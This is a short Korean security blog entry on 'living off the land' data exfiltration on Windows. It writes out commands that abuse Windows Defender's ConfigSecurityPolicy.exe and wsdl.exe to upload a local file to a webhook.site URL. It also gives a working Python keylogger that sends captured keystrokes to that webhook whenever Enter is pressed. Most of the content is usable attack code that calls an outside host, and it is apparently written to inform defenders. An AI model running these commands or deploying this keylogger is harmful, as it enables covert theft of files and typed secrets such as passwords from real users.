[하루한줄] Data Exfiltration with LOLBins
URL
Data Exfiltration with LOLBins
Target
- Windows
Explain
Living off the land (LOL)은 시스템에 미리 설치된 신뢰할 수 있는 프로그램을 사용하여 악성코드를 전파하는 기법입니다. LOL에는 Windows 바이너리를 사용하여 악성 행위를 숨기는 LOLBins, 라이브러리를 사용하는 LOLLibs, 스크립트를 사용하는 LOLScripts 등의 다양한 기술이 있습니다. LOL에 관한 많은 트릭들은 LOLBAS 프로젝트에서 확인하실 수 있습니다.
Microsoft Windows Defender의 ConfigSecurityPolicy.exe
를 통해 데이터를 유출할 수 있는 방법이 발견되었습니다.
ConfigSecurityPolicy.exe C:\temp\config.xml "https://webhook.site/4bce19be-2642-4f76-9e8e-7aea1448322d?sensitive_data"
위의 코드를 통해 webhook.site
에 C:\temp\config.xml
파일이 sensitive_data
파일로 업로드된 후 해당 파일을 확인할 수 있습니다.
또한 .NET Framework development environment에서 웹 서버 프록시를 생성할 수 있는 Microsoft Web Services Description Language Utility인 wsdl.exe
를 통해 클라이언트 프록시를 생성하여 데이터를 유출할 수 있습니다.
wsdl.exe /server ttps://webhook.site/4bce19be-2642-4f76-9e8e-7aea1448322d?sensitive_data
해당 LOLBins를 통해 Windows defender의 로그를 추출하여 키로깅도 할 수 있습니다.
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import os
import sys
import subprocess
URL = 'https://webhook.site/xxxxxx-xxxxx-xxxx-xxxxx-xxxxxxx'
uploader = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\ConfigSecurityPolicy.exe"
content = ""
def on_press(key):
global content
global URL
global uploader
if str(key) == 'Key.backspace':
content += ' '
else:
content += str(key)
print(f'last key: {str(key)}')
print("")
if str(key) == 'Key.enter':
upload_url = (f'{URL}?{content}')
subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url])
buffer = ''
if key == 0x03:
sys.exit(0)
if __name__ == "__main__":
try:
with Listener(on_press=on_press) as listener:
listener.join()
except (KeyboardInterrupt, SystemExit):
sys.exit(0)
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.